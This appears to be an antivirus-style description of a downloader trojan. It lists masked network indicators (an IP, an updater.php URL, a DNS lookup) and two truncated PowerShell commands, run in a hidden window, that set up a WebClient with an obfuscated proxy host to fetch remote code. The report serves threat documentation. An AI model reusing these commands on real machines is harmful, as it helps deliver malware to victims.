Technical Information
Malicious functions
Downloads and executes files.
Network activity
Connects to
- '5.##.222.65':80
TCP
HTTP GET requests
- http://ma##.com/updater.php
UDP
- DNS ASK 22##067.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -c "$l=New-Object System.Net.WebClient;$l.Headers.add('X-Requested-With','Java-1337');$l.proxy=(New-Object System.Net.WebProxy(([Net.IPAddress]([Net.Dns]::GetHostAddresses(''+(599*3733)+'.com')...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -c "$l=New-Object System.Net.WebClient;$l.Headers.add('X-Requested-With','Java-1337');$l.proxy=(New-Object System.Net.WebProxy(([Net.IPAddress]([Net.Dns]::GetHostAddresses(''+(599*3733)+'.com')...
